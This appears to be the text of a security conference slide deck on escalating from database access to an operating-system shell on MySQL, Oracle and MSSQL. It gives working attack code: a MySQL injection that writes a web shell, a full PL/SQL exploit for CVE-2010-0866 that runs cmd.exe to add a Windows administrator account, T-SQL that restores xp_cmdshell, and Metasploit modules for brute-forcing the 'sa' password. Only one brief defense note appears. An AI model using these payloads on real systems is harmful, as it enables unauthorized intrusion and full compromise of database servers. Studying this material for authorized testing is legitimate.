  • 2. Who am I ?  CITEC Evolution  Code Name “Lucifer”, Moderator, Speaker  Instructor: Web Application (In) Security 101  Instructor: Mastering in Exploitation  ACIS ProfessionalCenter  RedTeam : Penetration Tester  Instructor / Speaker  Security Consultant / Researcher  Founder of CWH Underground Hacker  Exploits,Vulnerabilities, Papers Disclosure  Milw0rm, Exploit-db, Security Focus, Secunia, Zeroday, etc  http://www.exploit-db.com/author/?a=1275
  • 3. Let’sTalk !? “Get DBA privilege is good but get SHELL is better !!”  MySQL PWNED !! From Web Application to get SHELL  Oracle Escalating Privilege XPL For get SHELL  MSSQL Credentials Attack For get SHELL
  • 4. MSSQL and OracleVulnerabilities 0 40 80 120 160 2002 2003 2004 2005 2006 2007 2008 2009 24 3 0 0 0 0 11 0 46 12 25 61 144 41 48 36 SQL Server Oracle
  • 5. MySQL Jump into OS  MySQL5.xVulnerability, 0-Day on Immunity CANVAS  SQL Injection viaWeb Application (Top Hit !!)  MySQL Outfile Function  Need writable directory  Need Absolute path  Need Magic_quote off  Union select 1,‘code’,3,4 into outfile “/www/htdocs/shell.php”  MySQL Load_file Function (Better !!)  Need Absolute path  Need phpMyAdmin path or MySQL 3306 was opened at firewall  Union select 1,load_file(0x4332…………)
  • 6. MySQL PWNED !! FromWeb Application to get SHELL
  • 7. Oracle Escalating Privilege XPL For get SHELL – PL/SQL Injection  Dbms_cdc_publish3 – For Oracle 10gR1-11gR2  Dbms_cdc_publish2  Dbms_cdc_publish  Dbms_metadata_open  Dbms_export_extension  It_findricset_cursor  It_compressworkspace  It_mergeworkspace  It_removeworkspace  It_rollbackworkspace
  • 8. Oracle Escalating Privilege XPL For get SHELL  DBMS_JVM_EXP_PERMS package that allow any user create privilege to grant themselves java IO Privileges  CVE-2010-0866  Affect Oracle 10g-11g (Windows Only)  Defense  Apply October 2010 Critical Patch Update  Oracle 11gR2 onWindows still secure  Revoke privileges from users to execute DBMS_JVM_EXP_PERMS
  • 9. Oracle Escalating Privilege XPL For get SHELL  XPL Code (Grant JAVA IO Privilege)  DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission',’<<ALL FILES>>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;  DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;  DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
  • 10. Oracle Escalating Privilege XPL For get SHELL  XPL Code (OS Execute)  select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:windows system32cmd.exe', '/c', ’net user prathan 1234 /add’) from dual;  select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:windows system32cmd.exe', '/c', ’net localgroup administrators prathan /add’) from dual;
  • 11. Oracle Escalating Privilege XPL For get SHELL
  • 12. MSSQL CredentialsAttack For get SHELL  ‘SA’ is God Account, Run with SYSTEM Privilege onWindows  Default ‘sa’ password is blank password or guessable  Require “xp_cmdshell” stored procedures (Disable by default on MSSQL 2005+)  Enabled it with osql  On MSSQL 2005  EXEC sp_configure ‘show advanced options’, 1 RECONFIGURE EXEC sp_configure ‘xp_cmdshell’, 1 RECONFIGURE
  • 13. MSSQL CredentialsAttack For get SHELL  On MSSQL 2000  Xp_cmdshell was drop by sp_dropextendedproc  EXEC sp_addextendedproc ‘xp_anyname’, ‘xp_log70.dll’  CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OADestroy @ShellID return @result
  • 14. MSSQL CredentialsAttack For get SHELL  Brute-Force ‘sa’ password and use sa credentials to run os command on target machine with Metasploit modules  Scanner/mssql/mssql_ping  Scanner/mssql/mssql_login  Admin/mssql/mssql_exec  Windows/smb/psexec
  • 15. IPWN4 – PenTestTools (Jail-Broken)  Pen-TestTools (Command-line)  Metasploit Framework  Social Engineering Toolkit  Nmap Scanner, Amap, Hping  Nbtscan, netcat  Nikto2, dnsmap  Ettercap-NG, Aircrack-NG  GUITools  iTeleport  Jaadu RDP  iNet  WiFiFoFum
  • 16. Full Compromise MSSQL via Iphone4